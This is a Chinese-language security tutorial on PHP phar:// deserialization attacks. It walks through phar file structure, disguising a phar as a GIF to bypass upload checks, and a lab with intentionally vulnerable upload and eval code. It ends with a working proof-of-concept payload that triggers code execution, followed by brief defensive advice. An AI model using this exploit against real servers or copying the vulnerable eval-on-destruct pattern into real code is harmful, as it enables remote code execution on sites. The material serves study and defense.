php 反序列化漏洞之phar://

Posted 白帽安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php 反序列化漏洞之phar://相关的知识,希望对你有一定的参考价值。

0x01前言

php反序列化漏洞的利用通常需要使用到unserialize函数,但随着代码安全性越来越高,利用难度也越来越大。根据Sam Thomas的研究,phar文件会以序列化的形式存储用户自定义的meta-data,这一特性拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists、is_dir等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize直接进行反序列化操作。


0x02原理分析

2.1 关于流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。例如常见的

 
   
   
 
  1. include('php://filter/read=convert.base64-encode/resource=index.php');

  2. include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种


2.2 phar文件结构之a stub 可以理解为一个标志,格式为xxxHALTCOMPILER();?>,前面内容不限,但必须以HALTCOMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。


2.3 phar文件结构之a manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。


2.4 demo测试 根据文件结构我们来自己构建一个phar文件,php内置了一个phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

 
   
   
 
  1. <?php

  2. classTestObject{

  3. }


  4. @unlink("phar.phar");

  5. $phar = newPhar("phar.phar"); //后缀名必须为phar

  6. $phar->startBuffering();

  7. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

  8. $o = new TestObject();

  9. $phar->setMetadata($o); //将自定义的meta-data存入manifest

  10. $phar->addFromString("test.txt", "test"); //添加要压缩的文件

  11. //签名自动计算

  12. $phar->stopBuffering();

  13. ?>

访问后,会生成一个phar.phar在当前目录下。

php 反序列化漏洞之phar://

用winhex打开

php 反序列化漏洞之phar://

可以明显的看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,经过测试,受影响的函数如下:

php 反序列化漏洞之phar://

测试一下 phar-test.php

 
   
   
 
  1. <?php

  2. classTestObject{

  3. public function __destruct() {

  4. echo 'destruct';

  5. }

  6. }


  7. $filename = 'phar://phar.phar/test.txt';

  8. file_get_contents($filename);

  9. ?>

输出:

php 反序列化漏洞之phar://

其他函数无疑也是可行的。当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,这极大的拓展了反序列化漏洞的攻击面。


2.5 将phar伪造成其他格式的文件(结合文件上传漏洞进行利用) 前面提到,php识别phar文件是通过其文件头的stub,更确切一点来说是_HALTCOMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

phar_gen.php

 
   
   
 
  1. <?php

  2. classTestObject{

  3. }


  4. @unlink("phar.phar");

  5. $phar = newPhar("phar.phar");

  6. $phar->startBuffering();

  7. $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

  8. $o = new TestObject();

  9. $phar->setMetadata($o); //将自定义meta-data存入manifest

  10. $phar->addFromString("test.txt", "test"); //添加要压缩的文件

  11. //签名自动计算

  12. $phar->stopBuffering();

  13. ?>


生成phar文件后查看文件类型:

php 反序列化漏洞之phar://

采用这种方法可以绕过很大一部分上传检测。


0x03 漏洞利用

3.1 利用条件 在利用之前,先来看一下这种攻击的利用条件。 
  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且 :、/、phar等特殊字符没有被过滤。


3.2 环境准备 upload_file.html 文件上传表单 upload_check.php 后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif file.php 存在file_exists(),并且存在__destruct()


3.3 代码内容 upload_file.html

 
   
   
 
  1. <body>

  2. <form action="http://localhost/upload_check.php" method="post" enctype="multipart/form-data">

  3. <input type="file" name="file"/>

  4. <input type="submit" name="Upload"/>

  5. </form>

  6. </body>

upload_check.php

 
   
   
 
  1. <?php

  2. if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif')

  3. {

  4. echo "Upload: ". $_FILES["file"]["name"];

  5. echo "Type: ". $_FILES["file"]["type"];

  6. echo "Temp file: ". $_FILES["file"]["tmp_name"];


  7. if(file_exists("upload_file/". $_FILES["file"]["name"]))

  8. {

  9. echo $_FILES["file"]["name"] . " already exists. ";

  10. }

  11. else

  12. {

  13. move_uploaded_file($_FILES["file"]["tmp_name"],

    "upload_file/".$_FILES["file"]["name"]);

  14. echo "Stored in: ". "upload_file/". $_FILES["file"]["name"];

  15. }

  16. else

  17. {

  18. echo "Invalid file!!!";

  19. }

  20. ?>

file.php

 
   
   
 
  1. <?php

  2. $filename=$_GET['filename'];

  3. classAnyClass{

  4. var $output = 'echo "ok";';

  5. function __destruct()

  6. {

  7. eval($this -> output);

  8. }

  9. }

  10. file_exists($filename);

  11. ?>


3.4 实现过程 首先是根据file.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a。然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。

构造代码 phar.php

 
   
   
 
  1. <?php

  2. classAnyClass{

  3. var $output = 'echo "ok";';

  4. function __destruct()

  5. {

  6. eval($this -> output);

  7. }

  8. }

  9. $phar = newPhar('phar.phar');

  10. $phar -> stopBuffering();

  11. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

  12. $phar -> addFromString('test.txt','test');

  13. $object = new AnyClass();

  14. $object -> output= 'phpinfo();';

  15. $phar -> setMetadata($object);

  16. $phar -> stopBuffering();

  17. ?>

访问phar.php,会在当前目录生成phar.phar,然后修改后缀为 gif

php 反序列化漏洞之phar://

接着上传,文件会经过upload_check.php的检验,然后上传到upload_file目录下

然后利用file.php。

payload : filename=phar://upload_file/phar.gif

成功getshell。


0x04 防御 
  • 在文件系统函数的参数可控时,对参数进行严格的过滤。

  • 严格检查上传文件的内容,而不是只检查文件头。

  • 在条件允许的情况下禁用可执行系统命令、代码的危险函数。



白帽安全团队

专注于网络安全培训和渗透测试服务


关注白帽安全,每天进步一点点!



以上是关于php 反序列化漏洞之phar://的主要内容,如果未能解决你的问题,请参考以下文章

phar反序列化漏洞简述

利用 phar 拓展 php 反序列化漏洞攻击面

利用phar文件拓展php反序列化攻击

利用phar文件拓展php反序列化攻击

DiscuzX 3.4 Phar反序列化漏洞

利用phar协议造成php反序列化